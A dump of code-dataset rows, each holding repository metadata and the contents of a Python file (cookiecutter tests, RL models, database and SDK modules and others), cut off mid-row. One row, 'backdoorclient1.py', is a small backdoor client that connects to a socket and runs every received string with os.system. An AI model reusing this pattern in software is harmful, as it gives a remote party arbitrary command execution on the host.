hexsha stringlengths 40 40 | size int64 2 1.05M | ext stringclasses 9
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 193 | max_stars_repo_name stringlengths 6 109 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 36.6k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 193 | max_issues_repo_name stringlengths 6 109 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 29.8k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 193 | max_forks_repo_name stringlengths 6 109 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 11.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.05M | avg_line_length float64 1 404k | max_line_length int64 1 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1dc2738a5d86d174e75efbcc8ddc24e97d19b71a | 4,285 | py | Python | tests/test_generate.py | aptivate/cookiecutter | a68e7f8e0b1700f44d9cc4a16eedea761ffb9154 | [
"BSD-3-Clause"
] | null | null | null | tests/test_generate.py | aptivate/cookiecutter | a68e7f8e0b1700f44d9cc4a16eedea761ffb9154 | [
"BSD-3-Clause"
] | null | null | null | tests/test_generate.py | aptivate/cookiecutter | a68e7f8e0b1700f44d9cc4a16eedea761ffb9154 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
test_generate
--------------
Tests for `cookiecutter.generate` module.
"""
from __future__ import unicode_literals
import logging
import os
import shutil
import sys
import unittest
from jinja2 import FileSystemLoader
from jinja2.environment import Environment
from c... | 33.740157 | 81 | 0.636873 |
1dc2917dd990c66d9ef205b5a6c534a45dac9c1f | 1,588 | py | Python | p2_continuous-control/p2_continuous_control_submission/model.py | hogansung/deep-reinforcement-learning | 5170ca42bdfdb16cc5c2b86c61bee304015a6254 | [
"MIT"
] | null | null | null | p2_continuous-control/p2_continuous_control_submission/model.py | hogansung/deep-reinforcement-learning | 5170ca42bdfdb16cc5c2b86c61bee304015a6254 | [
"MIT"
] | null | null | null | p2_continuous-control/p2_continuous_control_submission/model.py | hogansung/deep-reinforcement-learning | 5170ca42bdfdb16cc5c2b86c61bee304015a6254 | [
"MIT"
] | null | null | null | import torch
from torch import nn
class Actor(nn.Module):
"""Actor (Policy) Model, which maps states to actions."""
def __init__(
self,
state_size: int,
action_size: int,
seed: int = 514,
num_fc1_units: int = 400,
num_fc2_units: int = 300,
) -> None:
... | 28.872727 | 72 | 0.578715 |
1dc2d915427c0b925f230c7ce90d7bc80c1083ca | 18,676 | py | Python | pyrseas/dbobject/constraint.py | andreypopp/Pyrseas | 5fadc91bfd1e3e430e8f53d434df18b9abea3cb0 | [
"BSD-3-Clause"
] | 1 | 2015-03-16T09:10:47.000Z | 2015-03-16T09:10:47.000Z | pyrseas/dbobject/constraint.py | andreypopp/Pyrseas | 5fadc91bfd1e3e430e8f53d434df18b9abea3cb0 | [
"BSD-3-Clause"
] | null | null | null | pyrseas/dbobject/constraint.py | andreypopp/Pyrseas | 5fadc91bfd1e3e430e8f53d434df18b9abea3cb0 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
pyrseas.constraint
~~~~~~~~~~~~~~~~~~
This module defines six classes: Constraint derived from
DbSchemaObject, CheckConstraint, PrimaryKey, ForeignKey and
UniqueConstraint derived from Constraint, and ConstraintDict
derived from DbObjectDict.
"""
from pyrseas.dbobjec... | 38.507216 | 79 | 0.531431 |
1dc2e136af7dfd83c53cd1c62ede911e4b5c2417 | 372 | py | Python | backdoors2electricboogaloo/backdoorclient1.py | binarioGH/minihacktools | 664e72ccc54089baa3b4d2ddc28bdcddbfdd1833 | [
"MIT"
] | null | null | null | backdoors2electricboogaloo/backdoorclient1.py | binarioGH/minihacktools | 664e72ccc54089baa3b4d2ddc28bdcddbfdd1833 | [
"MIT"
] | null | null | null | backdoors2electricboogaloo/backdoorclient1.py | binarioGH/minihacktools | 664e72ccc54089baa3b4d2ddc28bdcddbfdd1833 | [
"MIT"
] | null | null | null | #-*-coding: utf-8-*-
from socket import *
import threading
from os import system
# Esto tiene errores, es solo una prueba de concepto
if __name__ == '__main__':
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("127.0.0.1", 5000))
while True:
try:
system(sock.recv(1024).decode())
except:
pass
else:
... | 21.882353 | 55 | 0.69086 |
1dc31ec7be3235e8bea841a42fba9d20a9bd8e0c | 1,503 | py | Python | m2-modified/ims/common/agentless-system-crawler/tests/functional/test_functional_nodepackage_plugin.py | CCI-MOC/ABMI | 955c12ae9d2dc7afe7323f6c25f2af120f5b281a | [
"Apache-2.0"
] | 108 | 2015-07-21T10:40:36.000Z | 2021-07-01T06:54:51.000Z | m2-modified/ims/common/agentless-system-crawler/tests/functional/test_functional_nodepackage_plugin.py | CCI-MOC/ABMI | 955c12ae9d2dc7afe7323f6c25f2af120f5b281a | [
"Apache-2.0"
] | 320 | 2015-07-21T01:33:20.000Z | 2020-07-21T15:57:02.000Z | m2-modified/ims/common/agentless-system-crawler/tests/functional/test_functional_nodepackage_plugin.py | CCI-MOC/ABMI | 955c12ae9d2dc7afe7323f6c25f2af120f5b281a | [
"Apache-2.0"
] | 61 | 2015-07-20T18:26:37.000Z | 2021-03-17T01:18:54.000Z | import unittest
import docker
import requests.exceptions
from plugins.systems.nodepackage_container_crawler import NodePackageCrawler
# Tests conducted with a single container running.
class NodePackagePluginFunctionalTests(unittest.TestCase):
image_name = 'node:11.0'
def setUp(self):
self.docker = d... | 35.785714 | 77 | 0.640719 |
1dc32832009981ada60cc1ceb27ee11a61f24ebf | 2,346 | py | Python | DataAnalysisTestSuite.py | sahil1105/HollywoodWebScraper | bc0677eadcce5505fa07eddd1645e5e3ad70dd2b | [
"Apache-2.0"
] | null | null | null | DataAnalysisTestSuite.py | sahil1105/HollywoodWebScraper | bc0677eadcce5505fa07eddd1645e5e3ad70dd2b | [
"Apache-2.0"
] | null | null | null | DataAnalysisTestSuite.py | sahil1105/HollywoodWebScraper | bc0677eadcce5505fa07eddd1645e5e3ad70dd2b | [
"Apache-2.0"
] | null | null | null | import unittest
from venv.DataAnalysis import *
from venv.Graph import *
class TestDataAnalysis(unittest.TestCase):
"""
Unit Tests for the Data Analysis
@author sahil1105
"""
def setUp(self):
"""
Sets up the graph for the test cases.
:return: self
"""
self.... | 40.448276 | 119 | 0.644928 |
1dc357af72f0240199aec68657e72554462a18b5 | 1,850 | py | Python | feature_selection/run_pycaret_setup.py | FragileTech/feature_selection | dc7c4a8e76e4ca2e60fd3f729b911571796e8439 | [
"MIT"
] | null | null | null | feature_selection/run_pycaret_setup.py | FragileTech/feature_selection | dc7c4a8e76e4ca2e60fd3f729b911571796e8439 | [
"MIT"
] | 3 | 2022-01-11T11:51:59.000Z | 2022-01-28T14:07:36.000Z | feature_selection/run_pycaret_setup.py | FragileTech/feature_selection | dc7c4a8e76e4ca2e60fd3f729b911571796e8439 | [
"MIT"
] | null | null | null | from pycaret.classification import add_metric, setup
from sklearn.metrics import brier_score_loss
def run_pycaret_setup(train_data, target, **kwargs):
setup_kwargs = dict(
preprocess=True,
data=train_data,
train_size=0.75,
target=target,
session_id=160290,
normalize... | 30.833333 | 96 | 0.646486 |
1dc3656535e11aeb93e9d5397727d8dcb00e25c1 | 991 | py | Python | config.py | sebastienlanglois/flask-hydro | 2bd399ca91fdaeea297ec5e6ee076ce1a53d0f37 | [
"MIT"
] | null | null | null | config.py | sebastienlanglois/flask-hydro | 2bd399ca91fdaeea297ec5e6ee076ce1a53d0f37 | [
"MIT"
] | 8 | 2020-03-24T17:16:40.000Z | 2022-03-11T23:52:59.000Z | config.py | sebastienlanglois/flask-hydro | 2bd399ca91fdaeea297ec5e6ee076ce1a53d0f37 | [
"MIT"
] | null | null | null | import os
from dotenv import load_dotenv
basedir = os.path.abspath(os.path.dirname(__file__))
load_dotenv(os.path.join(basedir, '.env'))
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'you-will-never-guess'
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or \
'sqlite:///'... | 38.115385 | 71 | 0.706357 |
1dc389539675bcea7615eb53d903884c5d260f9f | 3,304 | py | Python | file_server_box_sync/redis_client.py | dtrodger/file-server-box-syncer | 6296a66352df8c06ea691922a3728aeb487ab246 | [
"MIT"
] | null | null | null | file_server_box_sync/redis_client.py | dtrodger/file-server-box-syncer | 6296a66352df8c06ea691922a3728aeb487ab246 | [
"MIT"
] | null | null | null | file_server_box_sync/redis_client.py | dtrodger/file-server-box-syncer | 6296a66352df8c06ea691922a3728aeb487ab246 | [
"MIT"
] | null | null | null | """
Redis client
"""
from __future__ import annotations
import logging
from typing import AnyStr, Optional, Any, List
import json
import aioredis
import file_server_box_sync.files.config_file as sentinel_config_file
log = logging.getLogger(__name__)
async def configure_redis_client(
host: str, port: str, db:... | 27.764706 | 87 | 0.67161 |
1dc3915d669aa9bfc68047f334962a2e28668c8c | 1,083 | py | Python | alipay/aop/api/response/AlipaySocialBaseQuestInstancesQueryResponse.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 213 | 2018-08-27T16:49:32.000Z | 2021-12-29T04:34:12.000Z | alipay/aop/api/response/AlipaySocialBaseQuestInstancesQueryResponse.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 29 | 2018-09-29T06:43:00.000Z | 2021-09-02T03:27:32.000Z | alipay/aop/api/response/AlipaySocialBaseQuestInstancesQueryResponse.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 59 | 2018-08-27T16:59:26.000Z | 2022-03-25T10:08:15.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
from alipay.aop.api.domain.QuestInstanceDTO import QuestInstanceDTO
class AlipaySocialBaseQuestInstancesQueryResponse(AlipayResponse):
def __init__(self):
super(AlipaySocialBaseQue... | 32.818182 | 116 | 0.682364 |
1dc3981581f803d38581b548788425a7baa3f086 | 2,010 | py | Python | src/graph_transpiler/webdnn/graph/operators/col2im.py | gunpowder78/webdnn | c659ea49007f91d178ce422a1eebe289516a71ee | [
"MIT"
] | 1 | 2018-07-26T13:52:21.000Z | 2018-07-26T13:52:21.000Z | src/graph_transpiler/webdnn/graph/operators/col2im.py | gunpowder78/webdnn | c659ea49007f91d178ce422a1eebe289516a71ee | [
"MIT"
] | null | null | null | src/graph_transpiler/webdnn/graph/operators/col2im.py | gunpowder78/webdnn | c659ea49007f91d178ce422a1eebe289516a71ee | [
"MIT"
] | null | null | null | from typing import Tuple, Optional
from webdnn.graph.axis import Axis
from webdnn.graph.operator import Operator
from webdnn.graph.operators.attributes.tensorwise import Tensorwise
from webdnn.graph.operators.util import IntOrTuple, to_tuple
from webdnn.graph.order import OrderNHWC
from webdnn.graph.variable import Va... | 28.309859 | 104 | 0.627861 |
1dc3e5b2c8af4fc01b7e1d5552a1154737fcb05e | 5,273 | py | Python | test/functional/llmq-signing.py | biblepay/biblepay | 6af4517c623620f60cabc228cc2f63c35d1beb5b | [
"MIT"
] | 63 | 2017-07-25T21:57:21.000Z | 2022-02-05T02:58:03.000Z | test/functional/llmq-signing.py | biblepay/biblepay | 6af4517c623620f60cabc228cc2f63c35d1beb5b | [
"MIT"
] | 105 | 2017-09-04T00:52:17.000Z | 2021-05-22T13:58:37.000Z | test/functional/llmq-signing.py | biblepay/biblepay | 6af4517c623620f60cabc228cc2f63c35d1beb5b | [
"MIT"
] | 62 | 2017-08-04T19:48:40.000Z | 2021-07-07T12:21:12.000Z | #!/usr/bin/env python3
# Copyright (c) 2015-2020 The Däsh Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
import time
from test_framework.mininode import *
from test_framework.test_framework import BiblePayTestFra... | 41.849206 | 123 | 0.645932 |
1dc3e7a4088ec5b283764355886832ca978a6dd9 | 7,530 | py | Python | regparser/layer/def_finders.py | pkfec/regulations-parser | ff6b29dcce0449a133e7b93dd462ab3110f80a5d | [
"CC0-1.0"
] | 26 | 2016-06-04T20:48:09.000Z | 2021-07-28T18:13:30.000Z | regparser/layer/def_finders.py | pkfec/regulations-parser | ff6b29dcce0449a133e7b93dd462ab3110f80a5d | [
"CC0-1.0"
] | 146 | 2016-04-06T19:07:54.000Z | 2022-01-02T20:09:53.000Z | regparser/layer/def_finders.py | pkfec/regulations-parser | ff6b29dcce0449a133e7b93dd462ab3110f80a5d | [
"CC0-1.0"
] | 28 | 2016-04-09T20:40:48.000Z | 2021-05-08T17:52:59.000Z | # -*- coding: utf-8 -*-
"""Parsers for finding a term that's being defined within a node"""
import abc
import re
from collections import namedtuple
from itertools import chain
import six
from pyparsing import ParseException
from regparser.citations import Label
from regparser.grammar import terms as grammar
from regp... | 40.053191 | 79 | 0.62988 |
1dc3f6f24a4b98dea120167b380dede14d949441 | 1,628 | py | Python | setup.py | viggyfresh/prom | a918476dab1dbadced61fc088cdc36fed1685d0a | [
"MIT"
] | null | null | null | setup.py | viggyfresh/prom | a918476dab1dbadced61fc088cdc36fed1685d0a | [
"MIT"
] | null | null | null | setup.py | viggyfresh/prom | a918476dab1dbadced61fc088cdc36fed1685d0a | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# http://docs.python.org/distutils/setupscript.html
# http://docs.python.org/2/distutils/examples.html
from setuptools import setup, find_packages
import re
import os
from codecs import open
name = 'prom'
with open(os.path.join(name, "__init__.py")) as f:
version = re.search("^__version__\s... | 31.307692 | 100 | 0.621622 |
1dc4221e489dacd8e17e6538323c3fea23375d12 | 24,611 | py | Python | src/ec2.py | bgdnlp/tropolib | 33c03babc923cb02eb4ace726aa6ac72a2309f8f | [
"BSD-2-Clause"
] | null | null | null | src/ec2.py | bgdnlp/tropolib | 33c03babc923cb02eb4ace726aa6ac72a2309f8f | [
"BSD-2-Clause"
] | null | null | null | src/ec2.py | bgdnlp/tropolib | 33c03babc923cb02eb4ace726aa6ac72a2309f8f | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python3
from troposphere import Template, Ref, GetAtt, Export, Output, Sub
from troposphere import ec2 as t_ec2
from pawslib.ec2 import split_net_across_zones
from pawslib.var import alphanum
def multiaz_subnets(
name_prefix: str,
cidr_block: str,
region: str,
vpc: object = None,
vp... | 39.18949 | 93 | 0.55784 |
1dc4305055ed26617b374701b7abd88d2a58af3c | 855 | py | Python | chroma_core/lib/storage_plugin/api/relations.py | AlexTalker/integrated-manager-for-lustre | 251099e5c776f3c1898af50bb7cc77924c7cf7c7 | [
"MIT"
] | 1 | 2021-02-08T16:59:14.000Z | 2021-02-08T16:59:14.000Z | chroma_core/lib/storage_plugin/api/relations.py | AlexTalker/integrated-manager-for-lustre | 251099e5c776f3c1898af50bb7cc77924c7cf7c7 | [
"MIT"
] | null | null | null | chroma_core/lib/storage_plugin/api/relations.py | AlexTalker/integrated-manager-for-lustre | 251099e5c776f3c1898af50bb7cc77924c7cf7c7 | [
"MIT"
] | null | null | null | # Copyright (c) 2018 DDN. All rights reserved.
# Use of this source code is governed by a MIT-style
# license that can be found in the LICENSE file.
from chroma_core.lib.storage_plugin.base_relation import BaseRelation
class Subscribe(BaseRelation):
def __init__(self, subscribe_to, attributes, ignorecase=False)... | 31.666667 | 81 | 0.71345 |
1dc44a544a930d68074b92a2028de09fa0822726 | 9,570 | py | Python | goprime/net.py | BenisonSam/goprime | 3613f643ee765b4ad48ebdc27bd9f1121b1c5298 | [
"MIT"
] | null | null | null | goprime/net.py | BenisonSam/goprime | 3613f643ee765b4ad48ebdc27bd9f1121b1c5298 | [
"MIT"
] | null | null | null | goprime/net.py | BenisonSam/goprime | 3613f643ee765b4ad48ebdc27bd9f1121b1c5298 | [
"MIT"
] | null | null | null | from __future__ import print_function
import itertools
import os
import random
import time
import joblib
import numpy as np
import tensorflow as tf
from tensorflow.contrib.cluster_resolver import TPUClusterResolver
from tensorflow.keras.callbacks import TensorBoard
from tensorflow.keras.layers import Activation, Batc... | 36.25 | 113 | 0.624556 |
1dc4676aa69fa75f2315bd77d433efec371a2edd | 5,370 | py | Python | tests/sharepoint/test_view.py | wreiner/Office365-REST-Python-Client | 476bbce4f5928a140b4f5d33475d0ac9b0783530 | [
"MIT"
] | null | null | null | tests/sharepoint/test_view.py | wreiner/Office365-REST-Python-Client | 476bbce4f5928a140b4f5d33475d0ac9b0783530 | [
"MIT"
] | null | null | null | tests/sharepoint/test_view.py | wreiner/Office365-REST-Python-Client | 476bbce4f5928a140b4f5d33475d0ac9b0783530 | [
"MIT"
] | null | null | null | import uuid
from office365.sharepoint.fields.field import Field
from office365.sharepoint.fields.field_creation_information import FieldCreationInformation
from office365.sharepoint.fields.field_type import FieldType
from office365.sharepoint.views.view_field_collection import ViewFieldCollection
from tests import ran... | 47.946429 | 120 | 0.721974 |
1dc470867213a81b6f1d42ee7c7a935825222d5e | 3,856 | py | Python | chat_downloader/debugging.py | xenova/ChatReplayDownloader | ff9ddb1f840fa06d0cc3976badf75c1fffebd003 | [
"MIT"
] | 306 | 2021-02-03T12:19:14.000Z | 2022-03-31T02:07:20.000Z | chat_downloader/debugging.py | z1001123/chat-downloader | ef68e28ac5898ed3e424ca1b9fbbbe73377cbb1e | [
"MIT"
] | 79 | 2021-02-03T11:48:29.000Z | 2022-03-28T19:14:18.000Z | chat_downloader/debugging.py | z1001123/chat-downloader | ef68e28ac5898ed3e424ca1b9fbbbe73377cbb1e | [
"MIT"
] | 53 | 2021-02-09T21:55:11.000Z | 2022-03-28T21:17:40.000Z | """Debugging module for chat_downloader"""
import sys
import os
from .metadata import __name__ as logger_name
from .utils.core import pause
from enum import Enum
class TestingException(Exception):
"""Raised when something unexpected happens while in testing mode"""
class TestingModes(Enum):
# Currently u... | 26.593103 | 99 | 0.650415 |
1dc48cd720a0ff62cb789530501da4f4385922c8 | 896 | py | Python | tempest/services/volume/v2/json/admin/volume_quotas_client.py | midokura/tempest | b0ec1d280f057d5d9c2eda081bcbda7e381ecb3b | [
"Apache-2.0"
] | null | null | null | tempest/services/volume/v2/json/admin/volume_quotas_client.py | midokura/tempest | b0ec1d280f057d5d9c2eda081bcbda7e381ecb3b | [
"Apache-2.0"
] | null | null | null | tempest/services/volume/v2/json/admin/volume_quotas_client.py | midokura/tempest | b0ec1d280f057d5d9c2eda081bcbda7e381ecb3b | [
"Apache-2.0"
] | null | null | null | # Copyright 2014 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | 37.333333 | 78 | 0.743304 |
1dc491878f7ee8ea07ae65f42ae5745589822074 | 7,644 | py | Python | util/pyclient/test_msgs.py | big-data-lab-umbc/concord-bft | 7061695406885604471a8a7bd5944e8d16d7280f | [
"Apache-2.0"
] | null | null | null | util/pyclient/test_msgs.py | big-data-lab-umbc/concord-bft | 7061695406885604471a8a7bd5944e8d16d7280f | [
"Apache-2.0"
] | null | null | null | util/pyclient/test_msgs.py | big-data-lab-umbc/concord-bft | 7061695406885604471a8a7bd5944e8d16d7280f | [
"Apache-2.0"
] | null | null | null | # Concord
#
# Copyright (c) 2019 VMware, Inc. All Rights Reserved.
#
# This product is licensed to you under the Apache 2.0 license (the "License").
# You may not use this product except in compliance with the Apache 2.0 License.
#
# This product may include a number of subcomponents with separate copyright
# notices a... | 41.096774 | 109 | 0.704082 |
1dc4c03f355b2e9d1ccaa5890374ba486c1522b6 | 9,730 | py | Python | tests/test_refine_hanging.py | clazaro/sfepy | 78757a6989d6aaf85a3fb27957b9179c5e2aa2c7 | [
"BSD-3-Clause"
] | 510 | 2015-01-19T16:22:25.000Z | 2022-03-30T19:02:51.000Z | tests/test_refine_hanging.py | clazaro/sfepy | 78757a6989d6aaf85a3fb27957b9179c5e2aa2c7 | [
"BSD-3-Clause"
] | 402 | 2015-01-22T10:57:50.000Z | 2022-03-30T15:19:23.000Z | tests/test_refine_hanging.py | clazaro/sfepy | 78757a6989d6aaf85a3fb27957b9179c5e2aa2c7 | [
"BSD-3-Clause"
] | 156 | 2015-01-05T14:23:38.000Z | 2022-03-22T13:08:30.000Z | """
Test continuity along a boundary with hanging nodes due to a mesh refinement.
"""
from __future__ import absolute_import
import os.path as op
import numpy as nm
from sfepy.base.testing import TestCommon
from sfepy.base.base import assert_, Struct
def eval_fun(ts, coors, mode, **kwargs):
val = nm.sin(nm.sum(c... | 33.321918 | 80 | 0.536999 |
1dc4ca14f1f040386cc0df71aba13ffe50574e99 | 9,628 | py | Python | ForgeImporters/forgeimporters/github/__init__.py | shalithasuranga/allura | 4f7fba13415954d07f602a051ec697329dd3706b | [
"Apache-2.0"
] | 1 | 2019-03-17T04:16:15.000Z | 2019-03-17T04:16:15.000Z | ForgeImporters/forgeimporters/github/__init__.py | DalavanCloud/allura | a25329caed9e6d136a1004c33372e0632a16e352 | [
"Apache-2.0"
] | null | null | null | ForgeImporters/forgeimporters/github/__init__.py | DalavanCloud/allura | a25329caed9e6d136a1004c33372e0632a16e352 | [
"Apache-2.0"
] | null | null | null | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (t... | 38.979757 | 119 | 0.632011 |
1dc4d257a8bd2cdc113bd305dcef6f220d315dac | 2,891 | py | Python | apps/advection/2d/annulus/setplot.py | geoflows/geoclaw-4.x | c8879d25405017b38392aa3b1ea422ff3e3604ea | [
"BSD-3-Clause"
] | 7 | 2016-11-13T03:11:51.000Z | 2021-09-07T18:59:48.000Z | apps/advection/2d/annulus/setplot.py | che-wenchao/D-Claw | 8ab5d971c9a7a7130e03a447a4b8642e292f4e88 | [
"BSD-3-Clause"
] | 11 | 2020-01-14T18:00:37.000Z | 2022-03-29T14:25:24.000Z | apps/advection/2d/annulus/setplot.py | che-wenchao/D-Claw | 8ab5d971c9a7a7130e03a447a4b8642e292f4e88 | [
"BSD-3-Clause"
] | 6 | 2020-01-14T17:15:42.000Z | 2021-12-03T17:28:44.000Z |
"""
Set up the plot figures, axes, and items to be done for each frame.
This module is imported by the plotting routines and then the
function setplot is called to set the plot parameters.
"""
from mapc2p import mapc2p
import numpy as np
#--------------------------
def setplot(plotdata):
#-------------------... | 31.423913 | 74 | 0.645797 |
1dc4e6d296edba581127f9ed4f87887c854d564d | 1,738 | py | Python | tests/basic-structs/test_cause.py | damc-dev/kopf | 7c344fc682759bbf0647da60933021a75b3862d3 | [
"MIT"
] | null | null | null | tests/basic-structs/test_cause.py | damc-dev/kopf | 7c344fc682759bbf0647da60933021a75b3862d3 | [
"MIT"
] | null | null | null | tests/basic-structs/test_cause.py | damc-dev/kopf | 7c344fc682759bbf0647da60933021a75b3862d3 | [
"MIT"
] | null | null | null | import pytest
from kopf.reactor.causation import ResourceChangingCause
def test_no_args():
with pytest.raises(TypeError):
ResourceChangingCause()
def test_all_args(mocker):
logger = mocker.Mock()
resource = mocker.Mock()
reason = mocker.Mock()
initial = mocker.Mock()
body = mocker.M... | 24.828571 | 56 | 0.650173 |
1dc52b364329b85569bc01b38b407a3ac1f37af2 | 8,139 | py | Python | Codes/GMM_HMC_Pytorch.py | hejj16/Probabilistic-Graphical-Models_Notes-and-Examples | b1022273f1df2f8ffeacee8eca2996dab3cd4075 | [
"MIT"
] | 1 | 2022-03-03T16:42:16.000Z | 2022-03-03T16:42:16.000Z | Codes/GMM_HMC_Pytorch.py | hejj16/Probabilistic-Graphical-Models_Notes-and-Examples | b1022273f1df2f8ffeacee8eca2996dab3cd4075 | [
"MIT"
] | null | null | null | Codes/GMM_HMC_Pytorch.py | hejj16/Probabilistic-Graphical-Models_Notes-and-Examples | b1022273f1df2f8ffeacee8eca2996dab3cd4075 | [
"MIT"
] | null | null | null | import numpy as np
import torch
import copy
def dinvwishart(x, scale, df):
log_prob = torch.logdet(scale) * (df / 2) - np.log(2) * (scale.shape[0] * df / 2) - torch.mvlgamma(torch.tensor(df / 2), p=scale.shape[0]) + torch.logdet(x) * -(df + scale.shape[0] + 1) / 2 - 0.5 * torch.trace(scale @ torch.inverse(x))... | 43.524064 | 240 | 0.578449 |
1dc5527babb3a16f082bd05ecc0adfb66dd5da39 | 129 | py | Python | data_structures/node.py | Lucas-Vini/data-structures-and-algorithms | 009bb84ba116b5d5e8c68b34ab0fdfecb5eeb57f | [
"MIT"
] | 1 | 2021-04-27T03:22:48.000Z | 2021-04-27T03:22:48.000Z | data_structures/node.py | Lucas-Vini/data-structures-and-algorithms | 009bb84ba116b5d5e8c68b34ab0fdfecb5eeb57f | [
"MIT"
] | 1 | 2020-08-11T16:10:24.000Z | 2020-08-12T10:16:06.000Z | data_structures/node.py | Lucas-Vini/data-structures-and-algorithms | 009bb84ba116b5d5e8c68b34ab0fdfecb5eeb57f | [
"MIT"
] | null | null | null | class Node:
'''Class to create a new Node'''
def __init__(self, data):
self.data = data
self.next = None
| 21.5 | 36 | 0.565891 |
1dc552bdb1264325729ce83d835fc16980e7d469 | 4,020 | py | Python | noxfile.py | IMS-Bio2Core-Facility/GTExQuery | 95211f56ba567811c9d7a5def6ef86608be0cecd | [
"MIT"
] | 1 | 2021-07-12T09:52:40.000Z | 2021-07-12T09:52:40.000Z | noxfile.py | IMS-Bio2Core-Facility/GTExQuery | 95211f56ba567811c9d7a5def6ef86608be0cecd | [
"MIT"
] | 4 | 2021-07-12T13:34:28.000Z | 2021-07-21T12:21:22.000Z | noxfile.py | IMS-Bio2Core-Facility/GTExQuery | 95211f56ba567811c9d7a5def6ef86608be0cecd | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Nox session configuration."""
import tempfile
from typing import Any, List
import nox
from nox.sessions import Session
PACKAGE: str = "gtexquery"
LOCATIONS: List[str] = [
PACKAGE,
"noxfile.py",
"tests",
]
VERSIONS: List[str] = [
"3.9",
]
nox.options.stop_on_first_error = Fa... | 26.979866 | 92 | 0.591542 |
1dc55d72c1ace687d97684ffa1907b605b1e6850 | 23,666 | py | Python | vlcp/protocol/openflow/defs/common.py | hubo1016/vlcp | 61c4c2595b610675ac0cbc4dbc46f70ec40090d3 | [
"Apache-2.0"
] | 252 | 2015-11-17T14:21:50.000Z | 2022-03-11T10:19:47.000Z | vlcp/protocol/openflow/defs/common.py | SarahZarei/vlcp | 61c4c2595b610675ac0cbc4dbc46f70ec40090d3 | [
"Apache-2.0"
] | 23 | 2018-01-09T13:28:52.000Z | 2019-12-12T06:11:44.000Z | vlcp/protocol/openflow/defs/common.py | SarahZarei/vlcp | 61c4c2595b610675ac0cbc4dbc46f70ec40090d3 | [
"Apache-2.0"
] | 37 | 2016-08-03T04:42:22.000Z | 2021-12-30T16:57:10.000Z | '''
/* Copyright (c) 2008, 2011, 2012, 2013, 2014 The Board of Trustees of The Leland Stanford
* Junior University
*
* We are making the OpenFlow specification and associated documentation
* (Software) available for public use and benefit with the expectation
* that others will use, modify and enhance the Software... | 44.73724 | 133 | 0.502028 |
1dc572ea6ae39902dde16e3f4d8961d7662a843c | 3,824 | py | Python | sdk/applicationinsights/azure-mgmt-applicationinsights/azure/mgmt/applicationinsights/v2021_03_08/_application_insights_management_client.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-03-09T08:59:13.000Z | 2022-03-09T08:59:13.000Z | sdk/applicationinsights/azure-mgmt-applicationinsights/azure/mgmt/applicationinsights/v2021_03_08/_application_insights_management_client.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | sdk/applicationinsights/azure-mgmt-applicationinsights/azure/mgmt/applicationinsights/v2021_03_08/_application_insights_management_client.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-03-04T06:21:56.000Z | 2022-03-04T06:21:56.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | 41.11828 | 137 | 0.6841 |
1dc5d894d472d4bf361957f3abba10c28da5c8b7 | 9,009 | py | Python | docs/meta/conf.py | ishine/cotk | 2242c16523830254b0ac509f7739b4cbcb03dea4 | [
"Apache-2.0"
] | 117 | 2019-03-14T15:06:42.000Z | 2022-02-28T07:06:34.000Z | docs/meta/conf.py | ishine/cotk | 2242c16523830254b0ac509f7739b4cbcb03dea4 | [
"Apache-2.0"
] | 149 | 2019-03-12T09:43:21.000Z | 2020-08-24T02:56:34.000Z | docs/meta/conf.py | ishine/cotk | 2242c16523830254b0ac509f7739b4cbcb03dea4 | [
"Apache-2.0"
